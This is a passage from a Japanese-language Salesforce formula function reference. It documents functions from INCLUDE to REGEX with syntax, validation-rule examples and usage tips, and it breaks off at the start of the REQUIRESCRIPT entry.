要です。これは、入力パラメータに基づいて、ページタイトルとテーマを表す
再利用可能な HTML タグです。次に、このスニペットを含める Sコントロールを
作成します。
<html> <head> </head> <body> {!

INCLUDE($SControl.Title_Snippet, [titleTheme =
"modern", titleText = "My Sample Title"]) } ... Insert your page
specific content

here ... </body> </html>
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この Sコントロールでは、「Title_Snippet」というスニペットを使用して「私のサ
ンプルタイトル」のページのタイトルとテーマとして「modern」を表示させてい
ます。[ページ固有のコンテンツをここに挿入] には、実際の HTML のコンテンツ
を入力し、Sコントロールを Web タブのソースとして使用し、Salesforce 内に自分
のページを作成します。

ヒント: • この関数は、Sコントロールスニペットを参照するがコピーはしないため、常
に Sコントロールスニペットの最新のコンテンツが実行されます。Sコント
ロールスニペットに変更を加えると、Sコントロールスニペットを参照するす
べての INCLUDE 関数に影響します。

• スニペット内部の任意の情報にアクセスするには、$Request グローバル変数
を使用します。

• この関数はカスタムボタン、リンク、および Sコントロールでのみ使用でき
ます。

INCLUDES

複数選択の選択リスト項目で選択した値が、指定したテキストリテラルと等し
いかどうかを決定します。

説明:

INCLUDES(multiselect_picklist_field, text_literal)。
multiselect_picklist_field に、複数選択リストの差し込み項目名を指定

使用方法:

します。text_literal には、見積に一致させる複数選択リストの値を指定し
ます。

INCLUDES(Hobbies__c, "Golf") は、Hobbies カスタム複数選択リスト項目
で選択された値の 1 つが「Golf」の場合に TRUE を返します。

例:

ヒント: • text_literalの式は、テキスト型にして引用符で囲む必要があります。差
し込み項目または関数の結果にすることはできません。

• 次のいずれかの場合には、Salesforce からエラーが返されます。
– text_literal 数式を指定していない。
– "" または " " など、空の text_literal 数式を指定している。

• ISBLANK を使用して、複数選択リスト項目が空であるかどうかを示します。
• INCLUDES 関数内に PRIORVALUE 関数を使用して、複数選択リスト項目の以前の

値が特定の値を含んでいるかどうかを確認します。次に例を示します。
INCLUDES(

PRIORVALUE(multiselect_picklist_field),
text_literal
)
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ISBLANK

式に値があるかどうかを判断し、ない場合は TRUE を返します。値を含む場合は
FALSE を返します。

説明:

ISBLANK(expression)。expression に、評価する式を指定します。使用方法:

(IF(ISBLANK(Maint_Amount__c), 0, 1) +
IF(ISBLANK(Services_Amount__c), 0,1) +

例:

IF(ISBLANK(Discount_Percent__c), 0, 1) +
IF(ISBLANK(Amount), 0, 1) +
IF(ISBLANK(Timeline__c), 0, 1)) / 5

この数式は、項目のうち、何パーセントがスタッフによって使用されているか
を計算します。この数式項目は、5 つの項目をチェックして、空白かどうかを確
認します。該当する場合、その項目は 0 と計数されます。値が入力されている項
目は「1」と計数され、この合計を 5 (評価対象項目の数) で割ります。この数式
を使用するには、[高度な数式] サブタブが表示されている間に、[空白項目の処
理] の下の [空白項目を空白として処理] オプションを選択する必要があります。

ヒント: • 新しい数式では、ISNULLの代わりに ISBLANKを使用してください。ISBLANKには
ISNULL と同じ機能がありますが、さらにテキスト項目がサポートされていま
す。Salesforce では継続して ISNULL をサポートしますので、既存の数式を変更
する必要はありません。

• 文字、空白スペース、または 0 が含まれている場合、項目は空ではありませ
ん。たとえば、スペースバーで挿入したスペースが含まれている項目は空で
はありません。

• 項目に値がない場合に指定した文字列を返すには、BLANKVALUE 関数を使用し
ます。項目に値があるかどうかだけを確認する場合は、ISBLANK関数を使用し
ます。

• この関数を数値項目に使用する場合は、項目に値がなく、空白項目を 0 とし
て処理するように設定されていない場合にのみ、TRUE が返されます。

• 選択リストを指定してこの関数を使用する場合は、ISBLANK(TEXT(<picklist>)) で
選択リスト項目をテキスト値に変換します。

ISCHANGED

項目の値を前との値と比較し、2 つが異なれば TRUE を返します。値が同じ場合は
FALSE を返します。

説明:

ISCHANGED(field)。field に、比較する項目名を指定します。使用方法:
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NOT(ISCHANGED(Name))を入力規則として指定すると、ユーザが作成済みのオ
ブジェクト名を変更するのを防ぐことができます。
NOT(AND(ISCHANGED(Priority), ISPICKVAL(Priority, “Low”))) は、
ユーザがケースの [優先度]を変更した場合に、新規の優先度が「低」にならな
いようにする入力規則です。

入力規則の例:

NOT(AND(ISCHANGED(CloseDate), OR(MONTH(CloseDate) <>
MONTH(TODAY()), YEAR(CloseDate) <> YEAR(TODAY())),$Profile.Name

<> "Sales Manager")) は、ユーザが商談の [完了予定日] を現在の月と年の
範囲外の日付に変更できないようにする入力規則です。ただし、そのユーザが
「営業マネージャ」プロファイルを持っている場合は変更できます。

メモ:  $Profile 差し込み項目は、Enterprise Edition、Unlimited Edition、Performance

Edition、および Developer Edition でのみ使用可能です。

ヒント: • この関数は、次の場所でのみ使用できます。
– 割り当てルール
– 入力規則
– 項目自動更新
– 評価条件が [レコードが次の場合にルールを評価: 作成されたとき、および

編集されるたび] に設定されている場合はワークフロールール
– プロセスビルダーでアクションを実行する数式条件

• TRUE および FALSE の戻り値を逆にする場合は、NOT 関数を使用します。
• この関数は、新規作成レコードの項目を評価すると FALSE を返します。
• テキスト項目の以前の値が空白だった場合は、この項目が値を含んでいると

TRUE を返します。
• 数値、パーセント、または通貨項目に対し、次の場合に TRUE を返します。

– 項目の以前の値が空白で、現在は何らかの値を含んでいる
– 項目の以前の値が 0 で、現在は空白である
– 項目の以前の値が 0 で、現在は別の値を含んでいる

ISCLONE

2 つの項目を比較し、一方の項目が他方のコピーである場合に TRUE を返します。
それ以外の場合は FALSE を返します。

説明:

ISCLONE(field1, field2)。field に、コピーのために比較する項目名を指
定します。

使用方法:

次の入力規則を使用して、別のレコードのコピーであるレコードを識別します。
AND (ISCLONE(OldAccount, NewAccount)

入力規則の例:
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ヒント: • TRUE および FALSE の戻り値を逆にする場合は、NOT 関数を使用します。

ISNEW

新規レコードの作成中に数式が実行されているかどうかを確認し、実行中の場
合は TRUE を返します。既存のレコードが更新中の場合は、FALSE を返します。

説明:

ISNEW()使用方法:

ユーザが過去の完了予定日を使用してレコードを作成するのを防止するには、
次の入力規則を使用します。AND (ISNEW(), CloseDate < TODAY()) は、

入力規則の例:

ユーザが新規商談を作成中かどうかをチェックし、作成中の場合は本日以降の
[完了予定日] のみを許可します。
ユーザが作成済みの商談に対して少なくとも 1 つの商品を追加するようにするに
は、次の入力規則を使用します。
NOT(OR(ISNEW(),HasOpportunityLineItem))

この例では、既存の商談に商品が指定されていない場合、入力規則の数式によっ
て「保存する前に、この商談に商品を追加してください。」というエラーメッ
セージが表示されます。レコードを一度保存するまでは商品を追加できないた
め、最初の商談の保存時にはエラーが表示されません。この入力規則は、製品
を含まない商談を再保存したり閉じたりすることを防ぐためのものです。

ヒント: • この関数は、入力規則、項目自動更新、ワークフロールール、割り当てルー
ル、およびプロセスビルダーの数式条件でのみ使用できます。

• TRUE および FALSE の戻り値を逆にする場合は、NOT 関数を使用します。
• ワークフロールールで時間ベースのトリガと併用された場合、この関数は必

ず FALSE を返します。
• 項目自動更新で承認アクションに対して使用された場合、この関数は必ず

FALSE を返します。

ISNULL

重要: 新しい数式では、ISNULL の代わりに ISBLANK を使用してください。ISBLANK には ISNULL と同じ機能が
ありますが、さらにテキスト項目がサポートされています。Salesforceでは継続して ISNULLをサポートしま
すので、既存の数式を変更する必要はありません。

式が null (空白) かどうかを判断し、該当する場合は TRUE を返します。値を含む場
合は FALSE を返します。

説明:

ISNULL(expression)。expression に、評価する式を指定します。使用方法:
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(IF(ISNULL(Maint_Amount__c), 0, 1) +
IF(ISNULL(Services_Amount__c), 0,1) +

例:

IF(ISNULL(Discount_Percent__c), 0, 1) +
IF(ISNULL(Amount), 0, 1) +
IF(ISNULL(Timeline__c), 0, 1)) / 5

この数式は、項目のうち、何パーセントがスタッフによって使用されているか
を計算します。この数式項目は、5 つの項目をチェックして、空白かどうかを確
認します。該当する場合、その項目は 0 と計数されます。値が入力されている項
目は「1」と計数され、この合計を 5 (評価対象項目の数) で割ります。この数式
を使用するには、[高度な数式] サブタブが表示されている間に、[空白項目の処
理] の下の [空白項目を空白として処理] オプションを選択する必要があります。

AND(ISPICKVAL(StageName, "Closed Won"),
ISNULL(Project_Start_Date__c))

入力規則の例:

この入力規則は、フェーズが「商談成立」であった場合に、[プロジェクト開始
日] カスタム日付項目を条件に応じて入力必須項目にします。

ヒント: • テキスト項目は決して null にならないため、この関数をテキスト項目と一緒
に使用すると、必ず False が返されます。たとえば、数式項目
IF(ISNULL(new__c) 1, 0) は、[新規] 項目の値に関係なく、必ず 0 にな
ります。テキスト項目の場合は、ISBLANK 関数を代わりに使用します。

• 複数選択の選択リスト項目は Sコントロール、ボタン、メールテンプレート
で決して null にならないため、この関数を複数選択の選択リスト項目と一緒
に使用すると、必ず False が返されます。

• 日付および日付/時間項目を空にすると、ISNULL関数で参照されたときに必ず
真が返されます。

• 日付/時間項目には、ISNULL を使用しないでください。
• ISNULL 関数で数値、パーセント、または通貨項目を参照する場合は、数式に

対して [空白項目を空白として処理] を選択します。[空白項目を 0 として処
理]を選択すると、空白項目に 0 が入るため、Null になることはありません。

• 差し込み項目は空白として処理できますが、Sコントロールなどのコンポーネ
ントはこの関数を呼び出せるため実行結果に影響が出ます。

• 数値項目に特定の値が確実に指定されるように入力規則を使用する場合は、
値を含まない項目が ISNULL 関数に含まれるようにします。たとえば、カスタ
ム項目に確実に「1」が入力されるようにしたい場合は、入力規則を次のよう
に設定すると、項目が空白だったり、他の数字が入力されたりした場合にエ
ラーを表示できます。
OR(ISNULL(field__c), field__c<>1)
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ISNUMBER

テキスト値が数値であるかどうかを判断し、該当する場合は TRUE を返します。
該当しない場合は FALSE を返します。

説明:

ISNUMBER(text)。text に、テキスト項目の差し込み項目名を指定します。使用方法:

OR(LEN(Bank_Account_Number__c) <> 10,
NOT(ISNUMBER(Bank_Account_Number__c)))

入力規則の例:

この入力規則を使用して、[銀行口座番号] というカスタムテキスト項目が確実
に 10 桁の数字となり、空白とならないようにします。

ヒント: • この関数は、空白値には FALSE を返します。
• ISNUMBER 関数は、ロケールは意識しません。たとえば、ISNUMBER("123,12")

と ISNUMBER("1 000")と指定すると、ユーザのロケールが「フランス語」
であっても、FALSE が返されます。

• 中国語、日本語、韓国語および空白を含む特殊文字には、FALSE を返します。
• ISNUMBER 関数は、「2E2」や「123.123」などの科学的形式には TRUE を返しま

す。

ISPICKVAL

選択リスト項目の値が指定したテキストリテラルと等しいかどうかを判断しま
す。

説明:

ISPICKVAL(picklist_field, text_literal)。picklist_field には選択
リストの差し込み項目名を指定し、text_literal には引用符で囲んだ選択リ

使用方法:

ストの値を指定します。text_literal を差し込み項目、または関数の結果に
することはできません。

契約の有効化
IF(ISPICKVAL(Status, "Activated"), NOW()-ActivatedDate, null)

で、契約が有効にされてからの日数が計算されます。契約状況が「有効」でな
い場合、この項目は空白になります。

例:

手数料
IF(ISPICKVAL(StageName, "Closed Won"),
ROUND(Amount *0.02, 2), 0)

この例は、「商談成立」フェーズの商談すべての手数料を計算します。この項
目の値は、完了/成立した商談に 0.02 を掛け合わせた金額です。進行中または不
成立の商談の場合は、手数料の値が 0 になります。
競合によりトリガされるワークフロー
ISPICKVAL(Stage, “Closed Lost”) && INCLUDES(Competitor__c, “Acme”)
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ワークフロールールまたはプロセスビルダーで、この数式は、契約不成立の業
務の [競合] 複数選択リスト項目が Acme である場合に、関連付けられているア
クションをトリガするように Salesforce を設定します。

ヒント: • picklist_fieldに、選択リストの標準またはカスタム項目を指定します。
• text_literalの式は、テキスト型にして引用符で囲む必要があります。差

し込み項目または関数の結果にすることはできません。
• 選択リストの値が特定の値と等しいかどうかを判断するには、CASE関数を使

用します。
• 選択リスト項目の前の値を返すために ISPICKVAL 関数を使用する場合は、次の

例に示すように ISPICKVAL 関数内に PRIORVALUE 関数を含めてください。
ISPICKVAL(PRIORVALUE
(picklist_field),
text_literal)

JSENCODE

バックスラッシュ (\) などのエスケープ文字をアポストロフィー (') などの安全で
ない JavaScript 文字の前に挿入して、JavaScript で使用するテキスト文字列や差し込
み項目値を符号化します。

説明:

{!JSENCODE(text)}。text に、差し込み項目または安全でない JavaScript 文字
を含むテキスト文字列を指定します。

使用方法:

差し込み項目 foo__c が <B>Enter the user's name<b> を含む場合、
{!JSENCODE(foo__c)} は \u003CB\u003EEnter the user\'s

name\u003C\/b\u003E のようになります。

例:

この関数はカスタムボタンとカスタムリンク、および Visualforce でのみ使用でき
ます。

ヒント:

JSINHTMLENCODE

HTML で予約されている文字を HTML エンティティ文字に置き換えて、エスケープ
文字を安全でない JavaScript 文字の前に挿入し、HTML タグ内の JavaScript で使用す

説明:

るテキスト文字列や差し込み項目値を符号化します。
JSINHTMLENCODE(someValue) は、JSENCODE(HTMLENCODE((someValue))

と同等の便利な関数です。つまり、JSINHTMLENCODE は HTMLENCODE で最初に
someValue を符号化してから、JSENCODE で結果を符号化します。

{!JSINHTMLENCODE(text)}。textに、差し込み項目または安全でない JavaScript

文字を含むテキスト文字列を指定します。
使用方法:
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差し込み項目 foo__c が <B>Enter the user's name<b> を含む場合、
{!JSINHTMLENCODE(foo__c)} は &lt;B&gt;Enter the user&#39;s

name&lt;/b&gt; のようになります。

例:

ヒント: • この関数はカスタムボタンとカスタムリンク、およびVisualforceでのみ使用で
きます。

LEFT

テキスト文字列の先頭から、指定した数の文字を返します。説明:

LEFT(text, num_chars)。text に、返す項目または式を指定します。
num_chars に、返す文字列の先頭からの文字数を指定します。

使用方法:

TRIM(LEFT(LastName, 5)) & "-" & TRIM(RIGHT(SSN__c, 4))

この数式で、名前の最初の 5 文字と、社会保障番号の最後の 4 文字が、ダッシュ
で区切られて表示されます。この例では、SSN というテキストカスタム項目を
使用しています。

例:

ヒント: • 数式では自動採番項目をテキスト項目として参照します。
• num_chars の値が 0 より小さい場合は、Salesforce により、その値が 0 に置き

換えられます。

LEN

指定したテキスト文字列の文字数を返します。説明:

LEN(text)。text に、返される長さを持つ項目または式を指定します。使用方法:

LEN(PartNumber__c)

この数式で、[商品コード] 項目の文字数が返されます。
例:

LINKTO

リンク (href およびアンカータグ) の形式で、カスタムSコントロールまたはSalesforce

ページへの相対 URL を返します。
説明:

{!LINKTO(label, target, id, [inputs], [上書きなし]}。label に、リ
ンクのテキストを指定します。target に URL を指定します。id に、レコード

使用方法:

への参照を指定します。入力は省略可能で、リンクには追加のパラメータを指
定できます。優先指定なし引数も省略可能で、デフォルトは「False」です。これ
は、$Action.Account.New など標準の Salesforce ページへの対象に適用されます。別
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の箇所で上書きを指定したかどうかに関係なく標準の Salesforce ページを表示し
たい場合は、優先指定なし を「True」に置き換えます。

新規取引先 Sコントロール
<html> <body> {!LINKTO("Create a New Account",

$Action.Account.New, $ObjectType.Account)}
</body> </html>

Sコントロールの例:

この例では、ユーザがリンクをクリックすることで新規アカウントを作成でき
るようにします。取引先リストビューまたは Web タブなど、ユーザがそのペー
ジから直接取引先を作成できるようにすると便利です。Salesforce の新規取引先
ページを表示するには、$Action グローバル変数を使用します。
新規メールウィンドウ Sコントロール
<html>
<body>
{!LINKTO("Email link",
"mailto:support@yourcompany.com?subject=Please%20Help")};

</body>
</html>

この例では、「Mail link」をクリックすると、「Please Help」という件名で
「support@yourcompany.com」宛ての新規メールウィンドウが開かれます。
別の Sコントロールへのリンク
<html>
<body>
{!LINKTO("Check for duplicates",
$Scontrol.dedup_account, Account.Id)}

</body>
</html>

この例では、「重複をチェック」というラベルの付いたハイパーリンクを含む
ページが作成されます。ユーザがこのリンクをクリックすると、Salesforceによっ
てカスタムSコントロールが実行されます。この例では、重複した取引先を見つ
けて情報をマージするカスタムSコントロールが作成済みであることを前提とし
ています。

ヒント: • インライン Sコントロールを新規ウィンドウに開きたい場合は、この関数を
インライン Sコントロールに使用しないでください。

• 複数の inputs を括弧で括って、これらをまとまった指定として扱います。
{!LINKTO("View Case", $Action.Case.View, Case.Id, [parm1="A",
parm2="B"])}

• 優先指定なし 引数に設定したいパスがない場合は、次のように inputs 引数
に「Null」を指定します。
{!LINKTO("View Case", $Action.Case.View, Case.Id, null, true)}
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• 標準またはカスタムタブのホームページを上書きするときには、target を
"Tab" $Action グローバル変数に、id をオブジェクト種別に設定します。た
とえば、LINKTO("Accounts Tab", $Action.Account.Tab,

$ObjectType.Account) のように設定します。
• この関数はカスタムボタン、リンク、および Sコントロールでのみ使用でき

ます。

LN

指定した数の自然対数を返します。自然対数は、定数 e の値 2.71828182845904 に
基づきます。

説明:

LN(number)。numberに、自然対数を求める項目または式を指定します。注意:

LN 関数は、EXP 関数の逆数です。
使用方法:

LN(10) で、10 の自然対数、つまり 2.30 が返されます。
LN(Value__c) で、Value というカスタム数値項目の自然対数が返されます。

例:

LOG

数値の基数 10 の対数を返します。説明:

LOG(number)。numberに、基数 10 の対数の計算元項目または式を指定します。使用方法:

給与
LOG(Salary__c)で、給与の対数が計算されます。この例の [給与]は、カスタ
ム通貨項目です。

例:

水素
-LOG(Hydrogen__c)は、LOG 関数と、Hydrogenというカスタム数値項目を使
用して、pH と酸性度、つまり 1 リッターの液体内の水素密度を測定したモル値
を計算します。

LOWER

指定したテキスト文字列内のすべての英字を小文字に変換します。英字でない
文字は、この関数の影響を受けません。地域が適用されている場合は地域ルー
ルが適用されます。

説明:

LOWER(text, [locale])を使用し、textに小文字に変換する項目またはテキ
ストを指定して、locale には任意で 2 文字の ISO 言語コードまたは 5 文字の地
域コードを指定します。

使用方法:
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MYCOMPANY.COM

LOWER("MYCOMPANY.COM") は「mycompany.com」を返します。
例:

株式コード
LOWER(TickerSymbol) は、[株式コード] のテキストを小文字で返します。
トルコ語の言語ロケールを適用
たとえば、トルコ語には「i」の文字にドットが 1 つ付くものとドットのないも
のの 2 種類があります。トルコ語の地域ルールでは、ドット付きの「i」を大文
字化し、ドットのない「I」を小文字にできる機能が必要です。トルコ語の言語
地域で LOWER()関数を正しく使用するには、LOWER()関数内でトルコ語の地域
コード tr を次のように使用します。
LOWER(text, "tr")

このようにすると、text内にドット付きの「i」があっても、Salesforceでドット
のない「I」に変換しないようにできます。

LPAD

テキスト文字列の左側に指定した文字を挿入します。説明:

LPAD(text, padded_length[, pad_string])。次の変数を指定します。使用方法:

• text には、その左側に文字を挿入する項目または式を指定します。
• padded_length には、返されるテキストの合計文字数を指定します。
• pad_string には、挿入する必要のある文字を指定します。pad_string は

省略可能であり、デフォルトでは空白になります。
text の値が pad_string よりも長い場合には、text が padded_length のサ
イズまで切り取られます。

項目名: パディング
LPAD(Name, 20) は、Name 項目の 21 文字目以降を切り捨てます。たとえば、
名前が mycompany.com の場合は「mycompany.com」という値が返されます。

例:

My_Company: 変更なし
LPAD('my_company.com', 14, 'z') は、「my_company.com」が 14 文字であ
るため、そのまま「my_company.com」を返し、何も変更しません。
項目名: Z を挿入
LPAD(Name, 15, 'z') は「zmycompany.com」という名前を返します。
項目名: 切り捨て
LPAD(Name, 2) は、3 文字目以降の名前を切り取ります。たとえば、名前が
mycompany.com の場合は「my」という値が返されます。
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先頭の空白スペースとゼロは除外されます。ヒント:

MAX

数値のリストの中で最大の数値を返します。説明:

MAX(number, number,...) を使用し、number に最も高い数を取得する項目
または式を指定します。

使用方法:

サービス料
MAX(0.06 * Total_Cost__c, Min_Service_Charge__c)

例:

この例の数式項目は、合計の 6% のサービス料または最低サービス料のどちらか
大きい額を計算します。[最低サービス請求額] は、15 ドルのデフォルト値を含
むカスタム通貨項目です。最低サービス料が常に同じ場合は、この項目を数式
項目にすることもできます。
書籍印税
MAX(0.10 * Pages__c,
(Retail_Price__c * 0.07) * Total_Sold__c)

この数式は、書籍 1 冊につき支払う印税を計算します。販売した書籍 1 冊につき
0.07 ドル、または 1 ページにつき 0.10 ドルの二つの金額のうち、どちらか大きい
方を表示します。この数式は、[ページ]および [総売上]のカスタム数値項目が
あることと、[小売価格] のカスタム通貨項目があることを前提としています。
手数料
MAX($User.Commission_Percent__c * Price,
Price * Account_Discount__c, 100)

この数式では、価格に対するパーセントでのユーザの手数料、取引先に保存さ
れている割引率に価格を乗算した数値、または 100 ドルのうち、最も大きい数値
に基づいて納入商品に対して記録する手数料を判断します。この例では、ユー
ザと納入商品それぞれにカスタムパーセント項目があることを前提としていま
す。

MID

テキスト文字列中の途中で指定した開始位置から、指定した数の文字を返しま
す。

説明:

MID(text, start_num, num_chars)。text に、文字列を返すときに使用す
る項目または式を指定します。start_numに、開始位置として使用する文字の、

使用方法:

左から数えた文字数を指定します。num_chars に、返す合計文字数を指定しま
す。
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MID(Division, 3, 4) で、Division 項目の左から 3 番目の文字から 4 文字が
返されます。ユーザレコードでは、この部分の文字列が部・課コードを表しま
す。

例:

MIN

数値のリストの中で最小の数値を返します。説明:

MIN(number, number,...) を使用し、number に項目または式を指定します
(これらの項目または式から、最も低い数が取得されます)。

使用方法:

確定拠出年金の積み増し
MIN(250, Contribution__c /2)

例:

この例での数式は、従業員向けの確定拠出年金制度で、従業員による拠出額の
半分または 250 ドルのうち、どちらか低いほうに基づいて上乗せする金額を判断
します。この数式は、[拠出額] のカスタム通貨項目があることを前提としてい
ます。
ボーナス
MIN(Gross__c * Bonus_Percent__c,
Performance__c / Number_of_Employees__c)

この例は、従業員の総賃金にボーナス率を乗算したものか、企業の業績額を全
従業員で割った等分額のうち、どちらか低い方に基づき、従業員のボーナス額
を判断します。この数式は、[従業員数]にカスタム数値項目があること、[配当
率]にカスタムパーセント項目があること、および [粗利益]と企業の [パフォー
マンス] にカスタム通貨項目があることを前提としています。

MOD

数値を指定した除数で除算した後の剰余を返します。説明:

MOD(number, divisor)。numberを除算する項目または式で置き換え、divisor

には、約数として使用する数値を指定します。
使用方法:

MOD(3, 3) は 0 を返します。
MOD(4, 3) は 1 を返します。

例:

MOD(123, 100) は 23 を返します。
ユーザが土曜日と日曜日に会議の予定を入れるのを防止することもできます。
次の例では、[私の日付] というカスタム日付項目に上記の数式を使った入力規
則を適用します。
CASE(MOD(My_Date__c - DATE(1900, 1, 7), 7),
0, 0,
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6, 0,
1) = 0

この例では、[私の日付] の値が月曜日から金曜日でない場合に、「平日ではあ
りません。」というエラーメッセージを表示します。

MONTH

数値形式で指定された日付の中の、1 (1 月) から 12 (12 月) までの数値を返します。説明:

MONTH(date)。dateに、返される月を含む日付を表す項目または式を指定しま
す。

使用方法:

SLA の期限切れ
MONTH(SLAExpirationDate__c)は、サービスレベル契約が切れる月を返しま
す。この例では、[SLA 失効日] というカスタム日付項目を使用しています。

例:

現在の月
MONTH(TODAY()) は、現在の月を数値型で返します。たとえば、2 月なら「2」
です。

NOT

真であれば FALSE、偽であれば TRUE を返します。説明:

NOT(logical)。logical に、評価する式を指定します。使用方法:

IF(NOT(ISPICKVAL(Status, "Closed")), ROUND(NOW()-CreatedDate,

0), nullは、変数がオープンかどうかを確認し、該当する場合は、現在日時か
例:

ら作成日時を引いて、変数がオープンになっていた日数を計算します。結果は、
オープンになっていた日数を整数に切り上げた値になります。変数がオープン
でない場合、この項目は空白になります。

NOW

現在の日付/時間を返します。説明:

NOW()使用方法:

IF(ISPICKVAL(Status, "Open"), ROUND(NOW()-CreatedDate, 0), null)

で、リードがオープンかどうかがチェックされ、オープンの場合は、現在の日
時から作成された日時を引いて、オープンにされてからの日数が計算されます。

例:

結果は、オープンになっていた日数を整数に切り上げた値になります。リード
がオープンでない場合、この項目は空白になります。
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ヒント: • 括弧を削除しないでください。
• 括弧は空白のままにしておきます。値を入れる必要はありません。
• NOW 関数では、日付項目ではなく、日付/時間項目を使用します。[作成日]

と [最終更新日] が日付/時間項目であるのに対し、[最終活動日] は日付項目
です。

• 日付項目を使用する場合は、TODAY を使用してください。
• 日付と時刻は常にユーザの時間帯を使って計算されます。
• NOW 関数およびその他の日付/時間項目と一緒に加算演算子と減算演算子を使

用すると、日数を表す数値が返されます。たとえば、NOW() - CreatedDate

は、レコードの作成日からの日数を計算します。この例では、数式項目のデー
タ型が数値になります。

• NOW 関数および数値と一緒に加算演算子と減算演算子を使用すると、日付と
時間が返されます。たとえば、NOW() +5 は、現在から 5 日先の日付と時間
を計算します。この例では、数式項目データ型が日付/時間になります。

NULLVALUE

重要: 新しい数式では、NULLVALUEの代わりにBLANKVALUEを使用してください。BLANKVALUEにはNULLVALUE

と同じ機能がありますが、さらにテキスト項目がサポートされています。SalesforceではNULLVALUEが継続
してサポートされるため、既存の数式を変更する必要はありません。

式が null (空白) かどうかを判断し、該当する場合は代替式を返します。式が値と
一致する場合は、対応する結果を返します。

説明:

NULLVALUE(expression, substitute_expression)。expression に、評
価する式を指定します。substitute_expression に、空白値を置き換える値
を指定します。

使用方法:

(NULLVALUE(Sample_Due_Date__c, StartDate +5)

この数式は、[サンプル抽出期日]が空白の場合は常に、開始日の 5 日後の日付を
返します。[サンプル抽出期日] はカスタム日付項目です。

例:

ヒント: • この関数をテキスト項目と一緒に使用しないでください。テキスト項目が空
白かどうかを確認するには、BLANKVALUE 関数を代わりに使用します。

• 日付/時間項目には、NULLVALUE を使用しないでください。
• NULLVALUE 関数で、数値、パーセント、または通貨項目を参照する場合は、

数式に対して [空白項目を空白として処理]を選択します。[空白項目を 0 と
して処理] を選択すると、空白項目に 0 が入るため、Null になることはありま
せん。

• expression と substitute_expression は、両方に同じデータ型を使用
します。
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OR

式が真か偽かを判断します。式が真である場合は、TRUE を返します。式が偽で
ある場合は、FALSE を返します。この関数は、演算子  || (OR) の代わりに使用しま
す。

説明:

OR(logical1, logical2...) を使用し、任意の数の論理参照に、評価する式
を指定します。

使用方法:

IF(OR(ISPICKVAL(Priority, "High"), ISPICKVAL(Status, "New")),
ROUND(NOW()-CreatedDate, 0), null)

この数式は、[状況] が新規の場合、または [優先度] が高の場合には、ケース
がオープンになっていた日数を返します。ケースが今日オープンだった場合、
この項目は 0 を表示します。

数式項目の例:

OR(Sample_Rate__c < 0, Sample_Rate__c > 0.40)
入力規則の例:

この入力規則の数式では、[サンプル抽出率]カスタム項目が 0 ～ 40% 以外の値で
ある場合に、「SampleRate は 40% 以内にしてください」というエラーメッセージ
を表示します。

PARENTGROUPVAL

この関数は、指定した親グルーピングの値を返します。「親」グルーピングと
は、数式が含まれるレベルよりも上にあるレベルです。この関数は、レポート
のカスタム集計項目でのみ使用できます。

説明:

サマリーと結合: PARENTGROUPVAL(summary_field, grouping_level)

マトリックス: PARENTGROUPVAL(summary_field, parent_row_grouping,
parent_column_grouping)

使用:

summary_field には集計項目値、grouping_level には集計レポートの親レ
ベル、parent_row_levelと parent_column_levelにはマトリックスレポー
トの親レベルを指定します。

TOTAL_PRICE:SUM/PARENTGROUPVAL(TOTAL_PRICE:SUM, GRAND_SUMMARY)
例:

この数式では、各商品のサイズを総計に対する割合として計算します。この例
では、レポートは [商品名]別にグループ化された商談とその商品の集計になり
ます。
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PREVGROUPVAL

この関数は、指定した前のグルーピングの値を返します。「前の」グルーピン
グとは、レポートの現在のグルーピングより 1 つ前のグルーピングです。グルー

説明:

プレベルと増分値を選択します。増分値は、現在の集計の前の列数または行数
です。デフォルトは 1 で、最大値は 12 です。この関数は、レポートのカスタム
集計項目でのみ使用できます。

PREVGROUPVAL(summary_field, grouping_level [, increment])
使用:

summary_field にはグループ化された行または列の名前、grouping_level

には集計レベル、increment は以前の行または列の数を指定します。

AMOUNT:SUM - PREVGROUPVAL(AMOUNT:SUM, CLOSE_DATE)
例:

この数式は、月ごとに、レポートに表示された前月との金額の差を計算します。
この例では、レポートは [完了予定日] 別にグループ化された列と、[フェーズ]

別にグループ化された行による商談マトリックスになります。

PRIORVALUE

項目の前の値を返します。説明:

PRIORVALUE(field)使用方法:

AND(PRIORVALUE(Amount) > Amount, IsClosed) を入力規則として指定す
ると、クローズされた商談の期待収益がユーザによって変更されるのを防ぐこ
とができます。

入力規則の例:

ヒント: • この関数は、次の場所でのみ使用できます。
– 割り当てルール
– 入力規則
– 項目自動更新
– 評価条件が [レコードが次の場合にルールを評価: 作成されたとき、および

編集されるたび] に設定されている場合はワークフロールール
– プロセスビルダーでアクションを実行する数式条件

• この関数はデフォルト値を返しません。
• ユーザが新規レコードを作成すると、この関数は Null ではなく参照されてい

る field の値を返します。たとえば、「Acme」という名前の取引先を作成
した場合、PRIORVALUE(Account.Name) は Acme を返します。
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• 選択リスト項目の前の値を返すために ISPICKVAL 関数を使用する場合は、次の
例に示すように ISPICKVAL 関数内に PRIORVALUE 関数を含めてください。
ISPICKVAL(PRIORVALUE
(picklist_field),
text_literal)

• INCLUDES 関数内に PRIORVALUE 関数を使用して、複数選択リスト項目の以前の
値が特定の値を含んでいるかどうかを確認します。次に例を示します。
INCLUDES(

PRIORVALUE(multiselect_picklist_field),
text_literal
)

REGEX

テキスト項目を正規表現と比較し、一致する場合に TRUE を返します。該当しな
い場合は FALSE を返します。正規表現とは、特定の構文規則に従う文字列の形式
を記述するための文字列です。

説明:

REGEX(text, regex_text)。textにはテキスト項目を、regex_textには一
致させる正規表現を指定します。

使用方法:

この例では、[社会保険番号] というカスタム項目を、999-99-9999 という形式の
有効な社会保障番号を表す正規表現に一致させます。

NOT(

入力規則の例:

OR(
LEN (SSN__c) = 0,
REGEX(SSN__c, "[0-9]{3}-[0-9]{2}-[0-9]{4}")
)
)

ヒント: • 正規表現構文は、Java Platform SE 6 構文に基づいています。ただし、バックス
ラッシュ文字 (\) は、Salesforce ではエスケープ文字であるため、二重バックス
ラッシュ (\\) に変更する必要があります。

• Salesforce の正規表現エンジンは、文字列の中で一致するものを探すのではな
く、文字列全体と一致させます。たとえば、「Marc Benioff」という名前を検
索する場合、正規表現 .*Marc Benioff.* を使用して次のような文字列の
中で一致するものを検索します。
According to Marc Benioff, the social enterprise increases
customer success.
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正規表現を Marc Benioffとすると、この正規表現で一致する文字列は次の
場合のみです。
Marc Benioff

• キャプチャグループと置換は無視されます。
• この関数は、数式項目、カスタムボタン、カスタムリンクを除く、数式があ

るどこででも使用できます。

REQUIRESCRIPT

指定した URL に対する script タグとそのソースを返します Force.com AJAX ツール
